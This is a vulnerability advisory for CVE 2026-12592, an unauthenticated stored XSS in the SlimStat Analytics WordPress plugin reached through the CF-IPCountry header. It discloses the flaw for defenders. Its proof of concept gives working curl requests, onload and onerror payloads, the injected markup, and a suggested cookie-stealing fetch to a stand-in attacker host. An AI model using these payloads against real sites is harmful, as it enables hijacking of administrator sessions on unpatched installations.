SlimStat Analytics < 5.5.0 – Unauthenticated Stored XSS via CF-IPCountry Header | CVE 2026-12592

Description

The plugin does not escape a visitor-controlled geolocation value before outputting it in its admin analytics reports, allowing unauthenticated visitors to store a cross-site scripting payload that executes in the browser of an administrator who views the reports. Exploitation requires the plugin to be configured to use the Cloudflare geolocation provider.

Proof of Concept

Preconditions: SlimStat Analytics active and configured to use the Cloudflare geolocation provider (Settings > Slimstat > Tracker, geolocation provider = Cloudflare). Attacker = an unauthenticated visitor. Victim = an administrator who opens the Slimstat Audience report.

Step 1 - As an unauthenticated (logged-out) client, send a tracked hit carrying the Cloudflare geo headers. `CF-Ray` makes the plugin treat the request as routed through Cloudflare; `CF-IPCountry` carries the payload:
```
curl -k -X POST 'https://victim.example/wp-json/slimstat/v1/hit' \
  -H 'CF-Ray: 8aabbccddeeff001-SJC' \
  -H 'CF-IPCountry: "onload="print()' \
  -H 'Referer: https://victim.example/' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'res=1920x1080'
```
The endpoint returns `HTTP 200` and a tracking code, and the value `"onload="print()` is stored verbatim in the `country` column of the `wp_slim_stats` table.

Step 2 - As an administrator, open the Slimstat Audience dashboard in a browser:
```
https://victim.example/wp-admin/admin.php?page=slimview1
```
The "Audience Location" report renders the stored value into the country-flag image. The emitted markup is:
```
<img class="country-flag" src=".../unk.png" width="32" height="32" alt="" onload="print()">
```
The injected `onload` handler executes when the image loads, confirming arbitrary JavaScript execution in the administrator's authenticated browser session. Replace `print()` with any JavaScript (for example `fetch('//attacker.example/?c='+document.cookie)`) for a full impact demonstration.

Alternative sink (Access Log report) - the same flaw is reachable through the Access Log report, which uses a single-quoted attribute. Send the hit with a single-quote payload instead:
```
curl -k -X POST 'https://victim.example/wp-json/slimstat/v1/hit' \
  -H 'CF-Ray: 8aabbccddeeff001-SJC' \
  -H "CF-IPCountry: 'onerror='open()" \
  -H 'Referer: https://victim.example/' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'res=1920x1080'
```
When an administrator views the Access Log report, the stored value is emitted as:
```
<img class='slimstat-tooltip-trigger' src='.../assets/images/flags/'onerror='open().svg' width='16' height='16' title='c-'onerror='open()'>
```
The injected single quote closes the `src` attribute, the `onerror` handler is added, the image `src` now points to a directory and fails to load, and the handler runs the attacker JavaScript in the administrator's authenticated session.